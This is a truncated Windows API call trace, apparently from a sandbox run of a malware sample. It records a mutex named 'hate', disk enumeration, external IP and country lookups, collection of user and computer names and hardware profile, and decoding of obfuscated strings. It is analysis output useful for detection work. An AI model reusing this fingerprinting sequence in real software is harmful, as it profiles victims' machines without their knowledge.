GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.961] GetLastError () returned 0x0 [0034.961] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.962] GetLastError () returned 0x0 [0034.962] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x39) returned 0x4f91990 [0034.963] GetLastError () returned 0x0 [0034.963] SetLastError (dwErrCode=0x0) [0034.963] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.964] SetLastError (dwErrCode=0x0) [0034.964] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.965] SetLastError (dwErrCode=0x0) [0034.965] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.966] GetLastError () returned 0x0 [0034.966] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] GetLastError () returned 0x0 [0034.967] SetLastError (dwErrCode=0x0) [0034.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x98) returned 0x4f919d8 [0034.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x1f) returned 0x4f91a78 [0034.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x36) returned 0x4f91aa0 [0034.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x37) returned 0x4f91ae0 [0034.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x3c) returned 0x4f91b20 [0034.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x31) returned 0x4f91b68 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x17) returned 0x4f91ba8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x24) returned 0x4f91bc8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x14) returned 0x4f91bf8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0xd) returned 0x4f91c18 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x25) returned 0x4f91c30 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x39) returned 0x4f91c60 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x18) returned 0x4f91ca8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x17) returned 0x4f91cc8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0xe) returned 0x4f91ce8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x69) returned 0x4f91d00 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x3e) returned 0x4f91d78 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x1b) returned 0x4f91dc0 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x1d) returned 0x4f91de8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x48) returned 0x4f91e10 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x12) returned 0x4f91e60 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x18) returned 0x4f91e80 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x1b) returned 0x4f91ea0 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x24) returned 0x4f91ec8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x29) returned 0x4f91ef8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x1e) returned 0x4f91f30 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x41) returned 0x4f91f58 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x17) returned 0x4f91fa8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0xf) returned 0x4f91fc8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x16) returned 0x4f91fe8 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x2a) returned 0x4f92008 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x29) returned 0x4f92040 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x15) returned 0x4f92078 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x1e) returned 0x4f92098 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x2a) returned 0x4f920c0 [0034.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x12) returned 0x4f920f8 [0034.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x18) returned 0x4f92118 [0034.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x46) returned 0x4f92138 [0034.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f911f8 | out: hHeap=0x4f90000) returned 1 [0034.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x8, Size=0x80) returned 0x4f911f8 [0034.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18efc0 | out: lpSystemTimeAsFileTime=0x18efc0*(dwLowDateTime=0xca52fe50, dwHighDateTime=0x1d561e7)) [0034.969] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0034.969] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40ee2c) returned 0x40218e [0034.969] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.970] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.970] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.970] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.970] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.970] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.971] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.971] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.971] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.971] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f91280 [0034.971] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.972] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.972] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.972] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.972] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.973] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.973] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.973] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.974] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.974] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.974] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f912a8 [0034.974] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.974] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.975] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.975] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.975] RtlSizeHeap (HeapHandle=0x4f90000, Flags=0x0, MemoryPointer=0x4f911f8) returned 0x80 [0034.975] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="hate") returned 0x98 [0034.975] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0x0) returned 0x0 [0034.975] GetLastError () returned 0x0 [0034.975] GetLogicalDrives () returned 0x4 [0034.976] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0034.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c) returned 0x4f912f0 [0034.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c) returned 0x4f91318 [0034.976] GetDiskFreeSpaceExA (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x18eee0, lpTotalNumberOfBytes=0x18eee8, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x18eee0, lpTotalNumberOfBytes=0x18eee8, lpTotalNumberOfFreeBytes=0x0) returned 1 [0034.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4) returned 0x4f91340 [0034.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4) returned 0x4f91350 [0034.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4) returned 0x4f91360 [0034.977] InternetOpenA (lpszAgent="Chrome", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0036.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f91370 [0036.389] CryptStringToBinaryA (in: pszString="h++yjLxf7Vy6lQN0HNSq0rIgmPk=", cchString=0x1c, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ebf0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ebf0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0036.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14) returned 0x4f91398 [0036.389] CryptStringToBinaryA (in: pszString="h++yjLxf7Vy6lQN0HNSq0rIgmPk=", cchString=0x1c, dwFlags=0x1, pbBinary=0x4f91398, pcbBinary=0x18ebf0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f91398, pcbBinary=0x18ebf0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0036.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f92188 [0036.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f913b8 [0036.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92188 | out: hHeap=0x4f90000) returned 1 [0036.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91398 | out: hHeap=0x4f90000) returned 1 [0036.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f913e0 [0036.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f913b8 | out: hHeap=0x4f90000) returned 1 [0036.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91370 | out: hHeap=0x4f90000) returned 1 [0036.391] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://api.ipify.org", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c [0041.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f913e0 | out: hHeap=0x4f90000) returned 1 [0041.911] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18ecec, dwNumberOfBytesToRead=0x40, lpdwNumberOfBytesRead=0x18ecc8 | out: lpBuffer=0x18ecec*, lpdwNumberOfBytesRead=0x18ecc8*=0xe) returned 1 [0041.911] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0041.911] InternetOpenA (lpszAgent="Chrome", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0041.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f91370 [0041.912] CryptStringToBinaryA (in: pszString="wPipiegEsESEnUB4", cchString=0x10, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ebd0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ebd0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0041.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc) returned 0x4f91398 [0041.912] CryptStringToBinaryA (in: pszString="wPipiegEsESEnUB4", cchString=0x10, dwFlags=0x1, pbBinary=0x4f91398, pcbBinary=0x18ebd0, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f91398, pcbBinary=0x18ebd0, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0041.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f92188 [0041.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f913b0 [0041.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92188 | out: hHeap=0x4f90000) returned 1 [0041.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91398 | out: hHeap=0x4f90000) returned 1 [0041.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f913b0 | out: hHeap=0x4f90000) returned 1 [0041.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91370 | out: hHeap=0x4f90000) returned 1 [0041.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f91370 [0041.912] CryptStringToBinaryA (in: pszString="h++yjLxf7Vy6lQN5DpCl27IshfNVAK4MWNdOJyU=", cchString=0x28, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18ebcc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18ebcc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0041.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1d) returned 0x4f913a8 [0041.912] CryptStringToBinaryA (in: pszString="h++yjLxf7Vy6lQN5DpCl27IshfNVAK4MWNdOJyU=", cchString=0x28, dwFlags=0x1, pbBinary=0x4f913a8, pcbBinary=0x18ebcc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4f913a8, pcbBinary=0x18ebcc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0041.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x408) returned 0x4f92188 [0041.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f913d0 [0041.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92188 | out: hHeap=0x4f90000) returned 1 [0041.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f913a8 | out: hHeap=0x4f90000) returned 1 [0041.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f913a8 [0041.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f913d0 | out: hHeap=0x4f90000) returned 1 [0041.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91370 | out: hHeap=0x4f90000) returned 1 [0041.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f91370 [0041.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f913a8 | out: hHeap=0x4f90000) returned 1 [0041.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x4f913a8 [0041.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91370 | out: hHeap=0x4f90000) returned 1 [0041.912] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://api.db-ip.com/v2/free/95.222.167.189/countryName", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c [0042.078] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18ed1c, dwNumberOfBytesToRead=0x10, lpdwNumberOfBytesRead=0x18eca4 | out: lpBuffer=0x18ed1c*, lpdwNumberOfBytesRead=0x18eca4*=0x7) returned 1 [0042.078] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0042.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f913a8 | out: hHeap=0x4f90000) returned 1 [0042.078] GetUserNameA (in: lpBuffer=0x18ee34, pcbBuffer=0x18ed44 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18ed44) returned 1 [0042.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f91370 [0042.078] GetComputerNameA (in: lpBuffer=0x18ee34, nSize=0x18ed44 | out: lpBuffer="XDUWTFONO", nSize=0x18ed44) returned 1 [0042.079] GetFileVersionInfoSizeA (in: lptstrFilename="kernel32.dll", lpdwHandle=0x18ed2c | out: lpdwHandle=0x18ed2c) returned 0x73c [0042.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x73c) returned 0x4f92188 [0042.097] GetFileVersionInfoA (in: lptstrFilename="kernel32.dll", dwHandle=0x0, dwLen=0x73c, lpData=0x4f92188 | out: lpData=0x4f92188) returned 1 [0042.121] VerQueryValueA (in: pBlock=0x4f92188, lpSubBlock="\\", lplpBuffer=0x18ed24, puLen=0x18ed28 | out: lplpBuffer=0x18ed24*=0x4f921b0, puLen=0x18ed28) returned 1 [0042.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92188 | out: hHeap=0x4f90000) returned 1 [0042.122] GetCurrentHwProfileA (in: lpHwProfileInfo=0x18ed48 | out: lpHwProfileInfo=0x18ed48) returned 1 [0042.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f91398 [0042.123] Sleep (dwMilliseconds=0x5) [0042.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18eccc | out: lpSystemTimeAsFileTime=0x18eccc*(dwLowDateTime=0xccf96630, dwHighDateTime=0x1d561e7)) [0042.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18eccc | out: lpSystemTimeAsFileTime=0x18eccc*(dwLowDateTime=0xccf96630, dwHighDateTime=0x1d561e7)) [0042.274] GetLastError () returned 0x0 [0042.274] SetLastError (dwErrCode=0x0) [0042.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f913d0 [0042.274] GetLastError () returned 0x0 [0042.274] SetLastError (dwErrCode=0x0) [0042.274] GetLastError () returned 0x0 [0042.274] SetLastError (dwErrCode=0x0) [0042.274] GetLastError () returned 0x0 [0042.274] SetLastError (dwErrCode=0x0) [0042.274] GetLastError () returned 0x0 [0042.274] SetLastError (dwErrCode=0x0) [0042.274] GetLastError () returned 0x0 [0042.274] SetLastError (dwErrCode=0x0) [0042.274] GetLastError () returned 0x0 [0042.274] SetLastError (dwErrCode=0x0) [0042.274] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f91418 [0042.275] GetLastError () returned 0x0 [0042.275] SetLastError (dwErrCode=0x0) [0042.275] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.276] SetLastError (dwErrCode=0x0) [0042.276] GetLastError () returned 0x0 [0042.277] SetLastError (dwErrCode=0x0) [0042.277] GetLastError () returned 0x0 [0042.277] SetLastError (dwErrCode=0x0) [0042.277] GetLastError () returned 0x0 [0042.277] SetLastError (dwErrCode=0x0) [0042.277] GetLastError () returned 0x0 [0042.277] SetLastError (dwErrCode=0x0) [0042.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f91440 [0042.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91418 | out: hHeap=0x4f90000) returned 1 [0042.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f913d0 | out: hHeap=0x4f90000) returned 1 [0042.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f913d0 [0042.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91440 | out: hHeap=0x4f90000) returned 1 [0042.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x750) returned 0x4f92188 [0042.277] CryptStringToBinaryA (in: 